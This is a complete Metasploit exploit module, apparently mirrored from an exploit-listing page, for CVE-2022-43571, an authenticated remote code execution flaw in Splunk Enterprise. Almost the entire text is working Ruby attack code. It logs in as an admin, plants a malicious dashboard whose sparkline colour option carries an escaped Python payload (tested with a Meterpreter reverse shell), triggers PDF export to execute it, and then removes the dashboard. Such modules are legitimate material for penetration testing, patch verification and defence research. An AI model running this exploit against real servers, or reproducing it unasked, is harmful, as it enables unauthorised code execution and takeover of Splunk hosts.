Share
## https://sploitus.com/exploit?id=PACKETSTORM:214133
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HTTP::Splunk
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Authenticated RCE in Splunk (SimpleXML dashboard PDF generation)',
            'Description' => %q{
              This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise.
    
              An attacker can inject arbitrary Python code into style parameters, such as the fillColor or lineColor of a sparkline element within a Splunk SimpleXML dashboard.
              The malicious code is executed when a user triggers the PDF export function for the dashboard.
    
              The affected versions include any release prior to 8.1.12, as well as versions 8.2.0 through 8.2.9 and 9.0.0 through 9.0.2.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Maksim Rogov', # Metasploit Module
              'Danylo Dmytriiev', # Vulnerability Discovery
              'psytester' # Public Exploit
            ],
            'References' => [
              ['CVE', '2022-43571'],
              ['URL', 'https://advisory.splunk.com/advisories/SVD-2022-1111'],
              ['URL', 'https://web.archive.org/web/20221218233608/https://psytester.github.io/CVE-2022-43571_SPLUNK_RCE/']
            ],
            'Platform' => ['python'],
            'Arch' => [ARCH_PYTHON],
            'Targets' => [
              [
                'Splunk < 8.1.12, 8.2.9, and 9.0.2 / Python payload',
                {
                  # Tested with python/meterpreter/reverse_tcp
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2022-11-02',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Path to the Splunk App', '/']),
            OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
            OptString.new('PASSWORD', [ true, 'The password for the specified username']),
            OptBool.new('USE_INLINE_SPLUNK_QUERY', [true, 'By default, the exploit uses a simple query using system indexes (such as _internal). This option can be useful if those indexes are empty', false ])
          ]
        )
      end
    
      def gen_inline_splunk_query
        row_id_name = Rex::Text.rand_text_alphanumeric(8..16)
        arr_field = Rex::Text.rand_text_alpha(8..16)
    
        rand_count = rand(100..500)
        step = rand(2..15)
    
        col_count = rand(3..10)
        column_names = col_count.times.map { Rex::Text.rand_text_alphanumeric(8..16) }
    
        delimiter = [';', '|', ':', '#', '!'].sample
        names_string = column_names.join(delimiter)
    
        <<~SPL.strip
          | makeresults count=#{rand_count}
          | streamstats count as #{row_id_name}
          | eval _time = now() - (#{row_id_name} * #{step}),
                 #{arr_field} = split("#{names_string}", "#{delimiter}"),
                 sourcetype = mvindex(#{arr_field}, #{row_id_name} % #{col_count})
          | chart sparkline count by sourcetype
        SPL
      end
    
      def get_system_index_splunk_query
        rand_tail = rand(100..200)
        index = ['_internal', '_audit', '_introspection'].sample
    
        "index=#{index} | tail #{rand_tail} | chart sparkline count by sourcetype"
      end
    
      def get_malicious_dashboard_template(payload)
        splunk_query = datastore['USE_INLINE_SPLUNK_QUERY'] ? gen_inline_splunk_query : get_system_index_splunk_query
        style_param = ['lineColor', 'fillColor'].sample
        escaped_payload = CGI.escapeHTML(payload)
    
        dash_template = <<~XSL
          <dashboard>
              <row>
                  <panel>
                      <table>
                          <search>
                          <query>
                              #{splunk_query}
                          </query>
                          </search>
                          <format field="sparkline" type="sparkline">
                          <option name="#{style_param}">#{escaped_payload}</option>
                          </format>
                      </table>
                  </panel>
              </row>
          </dashboard>
        XSL
    
        # delete spaces
        dash_template.gsub(/^\s+/, '')
      end
    
      def cleanup
        super
        delete_dashboard(@target_app, @dash_name, @cookie)
      rescue Msf::Exploit::Failed
        print_warning("Module failed to delete the dashboard, \"#{@dash_name}\", which was created by the exploit")
      end
    
      def check
        @cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
        version = splunk_home_version(@cookie)
        if version.between?(Rex::Version.new('8.1.0'), Rex::Version.new('8.1.11')) ||
           version.between?(Rex::Version.new('8.2.0'), Rex::Version.new('8.2.8')) ||
           version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.0.1'))
          return CheckCode::Appears("Exploitable version found: #{version}")
        end
    
        return CheckCode::Safe("Non-vulnerable version found: #{version}") if !version.nil?
    
        return CheckCode::Unknown('Target does not appear to be a Splunk instance')
      end
    
      def exploit
        if @cookie.nil?
          @cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
        end
    
        template = get_malicious_dashboard_template(payload.encoded)
    
        @target_app = get_random_app(@cookie, enabled: true)
        @dash_name = Rex::Text.rand_text_alphanumeric(8..16)
    
        create_dashboard(@target_app, @dash_name, template, @cookie)
        begin
          export_dashboard(@target_app, @dash_name, @cookie)
        rescue StandardError
          nil
        end
      end
    
    end